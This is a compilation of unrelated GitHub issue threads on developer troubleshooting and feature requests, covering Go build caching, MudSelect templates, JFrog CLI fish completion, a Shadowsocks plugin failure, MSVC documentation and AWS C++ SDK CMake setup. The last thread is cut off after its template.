go install -v $GOPATH/src/github.com/sisatech/vorteil-services/cmd/cli

Remove $GOPATH/src and try again. The paths provided to go install are relative to $GOPATH/src

On 12 Sep 2017, at 10:10, alankm<EMAIL_ADDRESS>wrote:
Oh, I should clarify:
I'm not calling "go install -v" on the base directory for my project. My project has multiple binaries, so the layout is:
./cmd
./pkg
./vendor
I'm using a makefile that actually calls, as an example:
go install -v $GOPATH/src/github.com/sisatech/vorteil-services/cmd/cli
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Sorry, my mistake: I misinformed you. I wasn't calling it with $GOPATH/src, the first element in the path was "github.com". I ammended my previous comment to reflect this.

Thank you. So the issue as I understand it is
go install -v github.com/sisatech/vorteil-services/cmd/cli
go install -v github.com/sisatech/vorteil-services/cmd/cli
The second time the command is invoked it produces the same amount of
output as the first time. If this is the case can you please run
go install -x github.com/sisatech/vorteil-services/cmd/cli
go install -x github.com/sisatech/vorteil-services/cmd/cli
And copy the full output into a gist and link it to this issue. Thank you.
On Tue, Sep 12, 2017 at 12:46 PM, alankm<EMAIL_ADDRESS>wrote:

Sorry, my mistake: I misinformed you. I wasn't calling it with
$GOPATH/src, the first element in the path was "github.com". I ammended
my previous comment to reflect this.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/21840#issuecomment-328716931, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAAcA0VUEYufdBef7we9WIgQTuZeUGwKks5shfBvgaJpZM4PT59Q
.

I've just done some more testing and that doesn't seem to be quite the case.
Calling the following command twice in a row works exactly as expected:
go install -v github.com/sisatech/vorteil-services/cmd/cli

ie. Nothing recompiled the second time around.
There are a number of separate binaries to be built within the project, and my makefile tries to build all of them sequentially. If I run each of those commands myself separately they still all work as expected.
Somehow something I'm doing in the makefile seems to be triggering the problem. I'm not quite sure how, and I'm surprised that it matters considering that I'm definitely not modifying any of the files within the vendor directory.
I will investigate further and see if I can identify the cause, or provide a minimal example to reproduce the issue.

I believe I may have found the problem: one of the programs we were compiling needed CGO_ENABLED=0, the rest did not. It makes sense to me that this would cause problems.
If you're willing, I'd love an explanation of what you think is happening. Are the .a files all being discarded and remade whenever these environment variables change? Or, are the CGO_ENABLED=0 .a files being produced into a temporary folder somewhere, and cleaned up afterwards?
Is there a way to use the -pkgdir flag to avoid this issue, and have both sets of .a files available?

CGO_ENABLED requires the entire runtime to be rebuilt, you can use
-install_suffix (not sure of the exact flag) to avoid overwriting the
runtime and avoiding the rebuilds.
On Tue, Sep 12, 2017 at 1:08 PM, alankm<EMAIL_ADDRESS>wrote:

I believe I may have found the problem: one of the programs we were
compiling needed CGO_ENABLED=0, the rest did not. It makes sense to me that
this would cause problems.
If you're willing, I'd love an explanation of what you think is happening.
Are the .a files all being discarded and remade whenever these environment
variables change? Or, are the CGO_ENABLED=0 .a files being produced into a
temporary folder somewhere, and cleaned up afterwards?
Is there a way to use the -pkgdir flag to avoid this issue, and have both
sets of .a files available?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/21840#issuecomment-328720946, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAAcA1Iw8FwJ0Wi_1Rb5MZTseTTJixQjks5shfWRgaJpZM4PT59Q
.

That works brilliantly. Thank you for your help.


DisplayTemplate for MudSelect

Feature request type
Enhance component
Component name
MudSelect
Is your feature request related to a problem?
No response
Describe the solution you'd like
MudSelect is a very powerful bindable select.
However, when binding to a complete object instead of primite field, the ToString method is called. As workaround, override ToString works, but is not as flexible as have template.
I suggest to have a property for been able to customize the display for the selected item.
Like
<MudSelect ...>
<SelectedItemDisplayTemplate>
<span<EMAIL_ADDRESS></SelectedItemDisplayTemplate>
</MudSelect>

Have you seen this feature anywhere else?
No response
Describe alternatives you've considered
No response
Pull Request

[ ] I would like to do a Pull Request

Code of Conduct

[X] I agree to follow this project's Code of Conduct

@henon I have the same need as @hybrid-technologies-solutions
Here is an example of a use case for having a different selected item display template than the dropdown items. In the following example, if I were to have the address on the same line as the workplace name, it would be very difficult to read. The issue is when I select a workplace, the select component shows the address which is unneeded and ugly since it cuts of the text anyway.
Having something like @hybrid-technologies-solutions suggested would be great. I don't see a card for this issue in Feature Requests. If @rezalas isn't able to get to this item, I can put a solution together and submit a pull request if you'd like @henon. If so, has the PR you referenced above for the MudSelect changes been completed yet? Which PR was it?
<MudSelect T="Workplace" @bind-Value="context.Workplace">
    @foreach (var workplace in Workplaces)
    {
        <MudSelectItem Value="workplace">
            <MudText Typo="Typo.body2">
                @workplace.Name
            </MudText>
            <MudText Typo="Typo.body2">
                @workplace.Address.Line1,
                @workplace.Address.Line2
            </MudText>
            <MudText Typo="Typo.body2">
                @workplace.Address.City,
                @workplace.Address.State,
                @workplace.Address.PostalCode,
                @workplace.Address.Country
            </MudText>
        </MudSelectItem>
    }
</MudSelect>

Yes, the Select PR I was talking about has long since been merged and we always welcome contributions.

Now MudSelectExtended is released. It should fix your issue.
Ready on Nuget: https://www.nuget.org/packages/CodeBeam.MudExtensions/6.2.1
Try online: https://codebeam-mudextensions.pages.dev/mudselectextended

bump!

The select re-uses the ChildContent template of the selected MudSelectItem to display the selected value.
So what is it exactly that you need? A template for the selected value which displays it differently from the one that displays it in the list?

@henon exactly!
The flag example works fine because it's still single line, but in my case my MudSelectItem is multiline to display details.
I would like the selected value to only display the first line.
For now I have added a small margin after the first line so that the rest is hidden in selected value, but that's a bit hacky.
Screenshot for reference:

@bviala this makes a lot of sense of course. Do you want to PR?


Provide a fish completion

Is your feature request related to a problem? Please describe.
I really like to have a cli completion for JFrog to not check the manual,  every time.
Describe the solution you'd like to see
Add in addition to the bash and zsh a fish completion file.
Describe alternatives you've considered
—
Additional context
I am using macOS BigSur together with homebrew.
I using the fish shell as shell environment and using for the ProX variant the JFrog CLI for integration.

@Mazorius
JFrog CLI 2.9.0 includes the fish completion.
Installation is straightforward:
jf completion fish

We'd appreciate your feedback on that.


Added two new gradients to data.json

Thanks for the PR 🚀 The gradients look amazing, I'm gonna merge this one!


Classification Model

Hi~! It seems that the model link in the classification task is invalidated.

@pUmpKin-Co The links are updated.

Thanks~Solved!


How can I switch Python version in platformio terminal

I have installed both Python 2.7(installed by Macbook air automatically ) and Python 3.6 in my Mac.
When I use platformio terminal to run my test.py , it shows up that it works in Python 2.7 environment . How can I switch them . Because I am a new beginner in Python 3.6 I want to practice it on my Mac. Thanks for solving my problem

Try to write:
python3 test.py

Please retest again with platformio-atom-ide-terminal 2.9.0 is using node-pty-prebuilt instead unmaintained and outdated pty.js


ProjectLockFileWatcher crashes Visual Studio when the project file doesn't have an intermediate

When you have an "empty" project (a project with no imports) we're crashing because ProjectLockFileWatcher doesn't handle that intermediate directory is missing.

This can happen if the SDK element is missing.

I've got a fix for this.


Adding possibility to 'cast' or copy to xt::xarray etc

Essentially this should be good to go. However, I had to introduce on additional check to check on rank for xtensor. In particular, I want to do this:
static auto get(pybind11::handle src)
{
    auto buf = pybind11::array_t<T, pybind11::array::c_style | pybind11::array::forcecast>::ensure(src);
    if (buf.ndim() != 2) {
        return false;
    }
    return buf;
}

however my compiler gets (rightfully) confused:
error: 'auto' in return type deduced as 'pybind11::array_t<int, 17>' here but deduced as 'bool' in earlier return statement
                return buf;
                ^

So I worked around with the extra check. I would like to get rid of it. But I don't know what I can return instead of false that allows me to later do
if (!buf) {
    return false;
}

Thanks @JohanMabille ! Good to go.


v2: Incorrect Documentation for relative start_time settings

Following up on: https://twittercommunity.com/t/searchtweets-v2-start-time-request-param/150657/6?u=igorbrigadir
In the docs it says the format should be d3 to specify "last 3 days" but in the code it's expecting 3d
Docs:
https://github.com/twitterdev/search-tweets-python/blob/b45dcb1ab0b4fd57e28dfc053c35735c1c91c4e0/README.rst#L39-L41
Code:
https://github.com/twitterdev/search-tweets-python/blob/9656a8e3806ed02ef8a30631233d2a7a9fb2f7b9/searchtweets/api_utils.py#L35-L37

This was fixed in #118 but was closed without merging, not sure if that was intentional or not, also #121 has a small docs change but it shouldn't conflict.

Fixed in current README.rst


vyperdatum for vdatum conversion in the Alaska Region

@SorooshMani-NOAA and I are working on a mesh generation project in the Alaska domain based on two DEMs, however they are in different vdatums:

GMRT bathymetry: Horizontal datum: GCS_WGS_1984, Vertical Datum: EGM96
Cook Inlet High resolution bathymetry: Horizontal datum: EPSG:4326, Vertical Datum: MLLW

The goal is to convert both to MSL vertical datum. I have two questions regarding the feasibility of using vyperdatum for such conversion:

Is this tool valid for the Alaska region? Domain boundaries attached below.
MLLW is a predefined datum option in the vyperdatum. What would be the closest options for the EGM96 and MSL?

@SorooshMani-NOAA

@BahramKhazaei-NOAA and @SorooshMani-NOAA,
I have a similar question, with a focus on the coastal waters of the South Central and Southeast Alaska.
How did you resolve this issue? I understand that VDatum's tidal datum transformation is not yet fully operational in all of Alaska.
Thank you,
Sam Rickerich
Kelson Marine Co.

@BahramKhazaei-NOAA and @SorooshMani-NOAA,
I have a similar question, with a focus on the coastal waters of the South Central and Southeast Alaska.
How did you resolve this issue? I understand that VDatum's tidal datum transformation is not yet fully operational in all of Alaska.
Thank you, Sam Rickerich Kelson Marine Co.

Hi Sam,
We decided to go another way with this. Basically, we interpolated mesh from the original vdatum to MSL. However, there has been new developments on conversion between different datums (here). Our colleague @felicio93 could speak to that with more details.

Hi all,
I don't think the tidal transformations are available for all of Alaska. This is the coverage we have on our package (which I believe matches the VDatum coverage):

Hello Sam,
We have an updated version of Vyperdatum in the works which will be substantially different.  We expect it to cover all versions of VDatum with compiled national models to remove the difficulty of separate model regions, as well as a model for Alaska.  This will include a new concept of a National Chart Datum in case that is interesting to you.
Regards,
Glen

Thank you all for the information.
@GlenRice-NOAA do you have an release date for the updated version? I've read elsewhere that the VDatum update/addition with Alaska included should be sometime in the next ~1 year.
In the absence of a definitive vertical datum transformation in south central Alaska, I am drawn towards coarser estimates using NOAA tide gauges and Dart buoys as in Caldwell et al 2011 Section 3.2.1.


The Python version used in the env for icon-nwp on Balfrin no longer compatible with the latest version of Probtest

Note: This issue is actually more of an icon-nwp issue but as it concerns probtest, I thought I put it here

Using the latest version of probtest on icon-nwp throws several syntax errors. I assume this happens because the environment on Balfrin (/scratch/d1000/apps/buildbot/bb-venv/bin/activate) still uses Python 3.6. To update icon-nwp to uses a newer probtest version, this needs to be changed urgently.

These syntax fixes had to be done to get my branch running with ICON: https://github.com/MeteoSwiss/probtest/pull/41/commits/8e92085497c56aac66cc3cced6395b111cc21c7a

Can we close this? I think this anyway more a buildnot than a probtest issue.

Yes sure, I can close it.


Added AMP validator API example

See https://github.com/ampproject/amp-by-example/issues/687

I signed it

@sebastianbenz   Is there any reason this had to be done iframe vs amp-form?

Not anymore - when I did this amp-form wasn't available yet.
On Sat, Mar 11, 2017 at 10:08 PM Dane<EMAIL_ADDRESS>wrote:

@sebastianbenz https://github.com/sebastianbenz Is there any reason this
https://ampbyexample.com/advanced/using_the_amp_url_api/ had to be done
iframe vs amp-form?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/ampproject/amp-by-example/pull/688#issuecomment-285904059,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAXOOILHqc1rffPArdMmsEymSntg4VPyks5rkxtjgaJpZM4MZ7Wi
.

@danigrant friendly ping regarding the status - can I do anything to help?

@danigrant ping


plugin service exit unexpectedly

When I restart shadowsocks,the screen will show that the startup is successful, but the log shows:
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: using tcp fast open
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: plugin "/usr/bin/v2ray-plugin" enabled
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: UDP relay enabled
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: enable TCP no-delay
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: initializing ciphers... aes-256-gcm
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: using nameserver: <IP_ADDRESS>
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: tcp server listening at <IP_ADDRESS>:39061
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: tcp port reuse enabled
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: udp server listening at <IP_ADDRESS>:54321
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: udp port reuse enabled
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: plugin service exit unexpectedly
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: closed gracefully
Apr 27 11:49:00 hklawyer /usr/local/bin/ss-server[1800]: error on terminating the plugin.
my config.json is :
{
"server":"<IP_ADDRESS>",
"server_port":54321,
"password":"IOMpWsP",
"timeout":300,
"user":"nobody",
"method":"aes-256-gcm",
"fast_open":true,
"reuse_port":true,
"no_delay":true,
"nameserver":"<IP_ADDRESS>",
"nameserver":"<IP_ADDRESS>",
"mode":"tcp_and_udp",
"plugin":"/usr/bin/v2ray-plugin",
"plugin_opts":"server;path=/;loglevel=none"
}
my v2ray-plugin version is 1.3.1,please help me

{"server":"<IP_ADDRESS>",
"server_port":0000,
"method":"aes-256-gcm",
"timeout":300,
"password":"",
"fast_open":false,
"nameserver":"<IP_ADDRESS>",
"mode":"tcp_and_udp",
"plugin":"v2ray-plugin",
"plugin_opts":"server"
}

{"server":"<IP_ADDRESS>",
"server_port":0000,
"method":"aes-256-gcm",
"timeout":300,
"password":"",
"fast_open":false,
"nameserver":"<IP_ADDRESS>",
"mode":"tcp_and_udp",
"plugin":"v2ray-plugin",
"plugin_opts":"server"
}

Thank you for your reply, according to your method, the problem is still not solved

Only restart the machine service to start normally, but if you restart the shadowsocks service, it will not start again, unless the machine is restarted

Server address: <IP_ADDRESS>, server port: modify by yourself, generally there is no problem。
If you want to make ss restart automatically, you can refer to:
vi /etc/systemd/system/shadowsocks-libev.service
[Unit]
Description=Shadowsocks-libev Server
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/ss-server -c /etc/shadowsocks-libev/config.json -u
Restart=on-abort
[Install]
WantedBy=multi-user.target
and then enter ：
systemctl start shadowsocks-libev && systemctl enable shadowsocks-libev

pkill v2ray-plugin then restart ss

pkill v2ray-plugin then restart ss

Your method works, but it's a bit troublesome, thank you

Server address: <IP_ADDRESS>, server port: modify by yourself, generally there is no problem。
If you want to make ss restart automatically, you can refer to:
vi /etc/systemd/system/shadowsocks-libev.service
[Unit]
Description=Shadowsocks-libev Server
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/ss-server -c /etc/shadowsocks-libev/config.json -u
Restart=on-abort
[Install]
WantedBy=multi-user.target
and then enter ：
systemctl start shadowsocks-libev && systemctl enable shadowsocks-libev

The problem is still not solved。Too bad, the same method of construction is no problem  before


Home Favorites

Is your feature request related to a problem? Please describe.
User can choose between 6 fixed pre-choosen views, user cannot choose views useful for him

Describe the solution you'd like
Let the user choose between every available view

User can choose as favorites between 6 views (Activity, Weather, Stress, HR, Music, Sleep). User can choose to see 6 or less of them, but not other views. This is no-sense. You could limit to 6 the maximun views (if you have memory limitations, but I think they are'nt), bud you should let the user choose between all the existant views. In example, I would like to set Alarm, Contacts, Call Register, Notifications, Barometer and Compass, if 7 would be permitted, I would add SpO2, too.
On the low button I would put the Camera Remote Trigger, but with the actual concept I must put the barometer there, because the barometer is not selectable as favourite on the home.
Please, let the user add every existant view on favorite, as you did with the low button, and leave - if strictly necessary - the limitation in number and not in type o the favourites.

@evazzoler I have no idea what your question has to do with liteos?

@evazzoler I have no idea what your question has to do with liteos?

Is LiteOS the Operating System running on Huawei Watches?

@evazzoler Yes.

Ok, this is a feature request for HUAWEI WATCH GT 2 Pro, which is a Huawei Watch. What's not clear?

What is your feature requeset?

User can choose as favorites between 6 views (Activity, Weather, Stress, HR, Music, Sleep). User can choose to see 6 or less of them, but not other views. This is no-sense. You could limit to 6 the maximun views (if you have memory limitations, but I think they are'nt), bud you should let the user choose between all the existant views. In example, I would like to set Alarm, Contacts, Call Register, Notifications, Barometer and Compass, if 7 would be permitted, I would add SpO2, too.
On the low button I would put the Camera Remote Trigger, but with the actual concept I must put the barometer there, because the barometer is not selectable as favourite on the home.
Please, let the user add every existant view on favorite, as you did with the low button, and leave - if strictly necessary - the limitation in number and not in type o the favourites.


Testing Codecov output...

Sorry for the noise...

Codecov Report

Merging #242 into master will increase coverage by <.01%.
The diff coverage is n/a.

Codecov Report

Merging #242 into master will increase coverage by <.01%.
The diff coverage is 0%.


Fix a few "repeated word" typos

Objective
Stumbled on one of these and went digging for more
Solution
- word word
+ word

Oops, sorry, dug up a few more.


[FLINK-31592] Improve Flink dependent resource deletion

What is the purpose of the change
Currently we use the default (background) deletion propagation when we delete Kubernetes resources such as the JobManager deployment.
In most cases this is acceptable however this can lead to lingering resources when the garbage collection is slow on the k8s cluster. We therefore propose to make this configurable and also change the default to Foreground which is more predictable and works better for our purposes in the operator.
Brief change log

Change default resource deletion to foreground propagation
Make it configurable
Add tests

Verifying this change
Added unit test to NativeFlinkServiceTest
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): no
The public API, i.e., is any changes to the CustomResourceDescriptors: no
Core observer or reconciler logic that is regularly executed: no

Documentation

Does this pull request introduce a new feature? no
If yes, how is the feature documented? docs

@mxm do you have any further concerns?


example for nodeselector label in helm/values.yml

example for nodeselector label in helm/values.yml

You can add the label to node and to the value.yaml as
nodeSelector: {   accelerator: nvidia-tesla-p100 }


don't recommand IPython below2.0

Well, technically Spyder (since 2.3.3) can work with IPython 1.0...

I'm with @stonebig, even if it technically does work pre-1.0, we should not limit ourselves to supporting that different of an API moving forward.

recommanded' is the word that should suggest currently well supported packages and way of workings`. Spyder should recommand 2.4.1+, if it wants to be a good adviser

The dependencies mentioned in our README are not suggestions, are the minimum required versions.
This is my plan for IPython:

Spyder 2.3.3 and 2.3.4 will work with IPython 1.0+
Spyder 2.4 will work only with IPython 3.0+ (for the notebook integration)

Since this PR is against master, I'd suggest to change the dependency for 3.0+. But for that we will have to wait until 3.0 is released :-)

will the notebook integration work for qt4 ?

Nop, it won't work. Qt5 is needed for the notebook because it has a more up to date QtWebkit module.
I don't understand what you mean by retirement. Qtconsole is going to be maintained (most probably) by us and the Enthought guys after the IPython repo is broken in components.

ok, that's great if Qtconsole remains well maintained for 4.0

@stonebig did you close this one because you prefer me to do the change?

yes, to your timing and wording. it was rather a suggestion than an issue

By the way, it's "recommend", not "recommand".


Make the reset button to work

Reset the elements in the form without reloading the whole page.

@Zhong-Shan-Hui the reset button is working fine.


Update assert-asserte-assert-expr-macros.md

In dynamic memory allocation parts arise the "null pointer dereferencing" which can cause to undefined behaviour later. The first appeal to the memory by null pointer or in a differ terms dereferencing the null pointer usually causes the "structured exception" in Windows systems. In "Microsoft Visual Studio Community 2019 Version 16.11.29" environment compiler generates "Warning C6387" coherented with "NULL values of p1, p2", since p1, p2 are separately the arguments of strcpy_s and due to SAL for strcpy_s function the p1, p2 can not be NULL which maybe related indirectly with "Warning C6011" where it took its initial point which corresponds to "null pointer dereferencing":

// string.h
_Check_return_wat_
_ACRTIMP errno_t __cdecl strcpy_s(
        _Out_writes_z_(_SizeInBytes) char*       _Destination,
        _In_                         rsize_t     _SizeInBytes,
        _In_z_                       char const* _Source
        );

P.S.: if statements could be replaced respectively with:
 _ASSERT(p1 != NULL);
 _ASSERT(p2 != NULL);

Initialized the pointers to NULL.
P.S.: In C23 it could be initialized as nullptr:

char *p1{nullptr};
char* p2{nullptr};

https://en.cppreference.com/w/c/compiler_support/23#:~:text=13-,nullptr,-N3042

Hi, @shalala66. Thank you for taking an interest in the docs.
You are correct about how to handle the allocations. Our sample code isn't meant to be production ready code but rather to demo something specific about the topic. We often leave off the error handling because it obscures the point that the article is trying to make. It's not meant to be a production piece of code, but to demonstrate assert. It's also unnecessary to set the pointers to NULL first as they will be set to that if the allocation fails.
I think I'm going to skip on this one because the goal is to get as quickly as possible to the little sample that demos assert.
Take care and I hope the remainder of the year treats you well.

Hi, @TylerMSFT. These commits are about good practice even in demo code. This entire code snippet is not correct. Pointer initialization is also important in the all cases. It's potential wild pointer which is a uninitialized pointer till its first use hence by default it then hold some arbitrary memory location, and attempting to do any operation using it could be cause to crash of program. People learn from this platform and accepted this place as serious, since this site by Microsoft, but You ignore the necessary changings.


ubuntu build failed

pico/GP2040-CE/src/storagemanager.cpp:114:2: sorry, unimplemented: non-trivial designated initializers not supported
pico/GP2040-CE/src/storagemanager.cpp:123:2: sorry, unimplemented: non-trivial designated initializers not supported

[ 84%] Building CXX object CMakeFiles/GP2040-CE.dir/src/storagemanager.cpp.obj
/data/home/chiyu/pico/GP2040-CE/src/storagemanager.cpp: In member function 'void Storage::setDefaultBoardOptions()':
/data/home/chiyu/pico/GP2040-CE/src/storagemanager.cpp:114:2: sorry, unimplemented: non-trivial designated initializers not supported
};
^
/data/home/chiyu/pico/GP2040-CE/src/storagemanager.cpp:123:2: sorry, unimplemented: non-trivial designated initializers not supported
};
^
make[2]: *** [CMakeFiles/GP2040-CE.dir/build.make:160：CMakeFiles/GP2040-CE.dir/src/storagemanager.cpp.obj]

Thiss issue seems to be caused by an outdated compiler. I can build the project without issue on Ubuntu 22.04.2 and arm-none-eabi-g++ 10.3.1.

Thank you, the problem has been solved


Add D*cker support

Unfortunately Nix hasn't completely taken over yet, so this legacy format is sometimes found in challenges and such. This adds the daemon and gives red access to it. Works on my VM.

Good one. Thanks for your contribution.


Part of file switcher always outside of screen when full-screen

Description of your problem
What steps will reproduce the problem?

Opening file switcher with shortcut or menu when Spyder in full-screen mode or expanded

What is the expected output? What do you see instead?
I expect the entire file switcher window to be visible. Here's a screenshot of what happens:

Please provide any additional information below
The file switcher window appears to have a more or less fixed position relative to the editor. When I reduce Spyder to half of screen, it looks like this:

Versions and main components

Spyder Version: 3.1.3
Python Version: 3.6.0
Qt Version: 5.6.2
PyQt Version: 5.6.0
Operating system: OS X El Capitan 10.11.16 (Retina)

Dependencies
Please go to the menu entry Help > Optional Dependencies (or
Help > Dependencies), press the button Copy to clipboard
and paste the contents below:
jedi =0.9.0      :  0.9.0 (OK)
matplotlib >=1.0 :  2.0.0 (OK)
nbconvert >=4.0  :  5.1.1 (OK)
numpy >=1.7      :  1.12.1 (OK)
pandas >=0.13.1  :  0.19.2 (OK)
pep8 >=0.6       :  1.7.0 (OK)
psutil >=0.3     :  5.2.2 (OK)
pyflakes >=0.6.0 :  1.5.0 (OK)
pygments >=2.0   :  2.2.0 (OK)
pylint >=0.25    :  1.6.4 (OK)
qtconsole >=4.2.0:  4.3.0 (OK)
rope >=0.9.4     :  0.9.4-1 (OK)
sphinx >=0.6.6   :  1.5.4 (OK)
sympy >=0.7.3    :  1.0 (OK)

Thanks for reporting. This is a very odd bug indeed.

This will be fixed in Spyder 3.2.


Difficulty setting up AWS SDK?

I am trying both Xcode and Visual Studio, but I can't get the SDK running correctly.
First, my IDE is having difficulty finding the header files. The instructions say to do this:
cd BUILD_DIR
cmake
In Visual studio, I am replacing BUILD_DIR with the folder that contains my cpp file for the project.
After entering that into command prompt, is there anything else I should be doing so that my IDE can find the header files without having to enter in the full path names?
In Xcode, I get the following error after just manually entering in the full path names for the header files:
Undefined symbols for architecture x86_64:
"Aws::ShutdownAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
"Aws::InitAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
Any suggestions?
Thanks,
Kevin

Have you tried using this? https://aws.amazon.com/blogs/developer/using-cmake-exports-with-the-aws-sdk-for-c/

When I write: cmake –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp /Users/kevinsteele/Desktop/aws-sdk-cpp
I got the following error:  MACOSX_RPATH is not specified for the following targets:
aws-cpp-sdk-access-management
aws-cpp-sdk-acm
aws-cpp-sdk-apigateway
aws-cpp-sdk-application-autoscaling
........ and it lists a bunch of other targets.

That warning isn't a problem. Is that the only problem you are encountering.
Sent from my iPhone

On Jul 14, 2016, at 6:28 AM, KevinWSteele<EMAIL_ADDRESS>wrote:
When I write: cmake –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp /Users/kevinsteele/Desktop/aws-sdk-cpp
I got the following error: MACOSX_RPATH is not specified for the following targets:
aws-cpp-sdk-access-management
aws-cpp-sdk-acm
aws-cpp-sdk-apigateway
aws-cpp-sdk-application-autoscaling
........ and it lists a bunch of other targets.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

When I try to run the program in XCode, the program still doesn't run. I'm getting the same error message:
Undefined symbols for architecture x86_64:
"Aws::ShutdownAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
"Aws::InitAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
The steps I did to build the SDK:
Opened up the terminal window
I cloned the code from github into my desktop folder
cd into that folder
cmake ./
make
sudo make install
Then I did the command: make –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp /Users/kevinsteele/Desktop/aws-sdk-cpp

Cmake with no generator argument typically uses make. When you want to work with another IDE that isn't purely cmake/make based, you need to tell cmake what type of build artifacts to create (Visual Studio, NMake, XCode, etc...). Any time you want to use cmake with Xcode you need to specify -G Xcode for your cmake call.
Sent from my iPhone

On Jul 14, 2016, at 10:24 AM, KevinWSteele<EMAIL_ADDRESS>wrote:
When I try to run the program in XCode, the program still doesn't run. I'm getting the same error message:
Undefined symbols for architecture x86_64:
"Aws::ShutdownAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
"Aws::InitAPI(Aws::SDKOptions const&)", referenced from:
_main in main.o
The steps I did to build the SDK:
Opened up the terminal window
I cloned the code from github into my desktop folder
cd into that folder
cmake ./
make
sudo make install
Then I did the command: make –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp /Users/kevinsteele/Desktop/aws-sdk-cpp
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

I tried adding -G Xcode to my cmake command. I then executed this command: xcodebuild install
When I write the following in my main.cpp file: #include <aws/core/Aws.h>
XCode cannot find the library/header file? Any ideas? thanks

So let me make sure I understand.
you are running
mkdir aws-sdk-cpp-build
cd aws-sdk-cpp-build
cmake -G Xcode ../aws-sdk-cpp
xcodebuild
Then when that finishes
cd
cmake -G Xcode –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp-build ../
When that finishes, there will be an .xcodeproj file in your build directory. When you open that, you can now build in XCode against the SDK.

thanks, I noticed an xcodeproj file called aws-sdk-cpp-all and opened that. I still cannot quite get my code running, but I'm still playing around with things and will probably post a more specific question in a little while.

You shouldn't be using the aws-sdk-cpp-all xcode project file. You should use the XCode project file for your application. When you run cmake -G Xcode –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp-build
It will set everything up for your project. Then you just open the xcode project up for your application.

Sorry, I am still quite confused. Alas, I have switched over to Ubuntu and I am now just trying to run my main.cpp file from the terminal.
The steps i did to build the SDK:
Git cloned the repository
Put the repository in my Downloads folder in a folder named 'aws-sdk-cpp'
Created a folder for my build in my Documents folder named 'aws-sdk-cpp'
I then executed the following commands:
cd Documents
cd aws-sdk-cpp
cmake '/home/kevin/Downloads/aws-sdk-cpp'
make
sudo make install
cd
cmake –Daws-sdk-cpp_DIR=usr/local/aws-sdk-cpp '/home/kevin/Documents/aws-sdk-cpp'
I do not know what to do next to run my code that uses the SDK.
In the blog post, it sounds like you are supposed to make a CMakeLists.txt with the following:
"cmake_minimum_required(VERSION 2.8)
project(s3-sample)
#this will locate the aws sdk for c++ package so that we can use its targets
find_package(aws-sdk-cpp)
add_executable(s3-sample main.cpp)
#since we called find_package(), this will resolve all dependencies, header files, and cflags necessary
#to build and link your executable.
target_link_libraries(s3-sample aws-cpp-sdk-s3)"
I do not know where to put that CMakeLists.txt file or where to put my main.cpp file or which commands to write to execute my main.cpp file from the command line so that it can use the functions from the SDK?

I am still having a lot of trouble. I executed the following command:
cmake –Daws-sdk-cpp_DIR=/home/kevin/Documents/aws-sdk-cpp-build /home/kevin/Documents/s3-sample
s3-sample is a folder that contains the CMakeLists.txt from the blog: https://aws.amazon.com/blogs/developer/using-cmake-exports-with-the-aws-sdk-for-c/
It also contains my main.cpp file with code that tries to use simple functions from the SDK.
I get the following error message even though aws-sdk-cpp-build contains a configuration file with a name listed:
Could not find a package configuration file provided by "aws-sdk-cpp" with
any of the following names:
aws-sdk-cppConfig.cmake
aws-sdk-cpp-config.cmake

Add the installation prefix of "aws-sdk-cpp" to CMAKE_PREFIX_PATH or set
"aws-sdk-cpp_DIR" to a directory containing one of the above files.  If
"aws-sdk-cpp" provides a separate development package or SDK, be sure it
has been installed.

I had to do something differently what the instructions say on your README,, but I finally got the library to link up. I added the following line at the bottom of the CMakeLists.txt file from Github:
add_subdirectory(s3-sample)
Then, I created a s3-folder in the folder I got from GitHub and in that new folder, I put my main.cpp file and the CMakeLists.txt  file from the blog. However, I could not get the following line to work: find_package(aws-sdk-cpp)
I had to instead write something like this:
set(AWS_CPP_SDK_INCLUDE_DIRS /usr/local/include/aws CACHE STRING
"aws-cpp-sdk include directories")
set(AWS_CPP_SDK_CORE_LIB "-l:/usr/local/lib/libaws-cpp-sdk-core.so"
CACHE STRING "aws-cpp-sdk link core lib")
set(AWS_CPP_SDK_S3_LIB "-l:/usr/local/lib/libaws-cpp-sdk-s3.so" CACHE
STRING "aws-cpp-sdk link S3 lib"


A lot of timeouts

New Issue Checklist

[x] I have searched for a similar issue in the project and found none

Issue Info

Info
Value

Platform Name
e.g. flutter / ios / android
flutter

Platform Version
e.g.  1.5.0 / 12.0 / 9.0
all

Dio Version
e.g.  2.1.0 / 1.0.17
5.0.4

Android Studio / Xcode Version
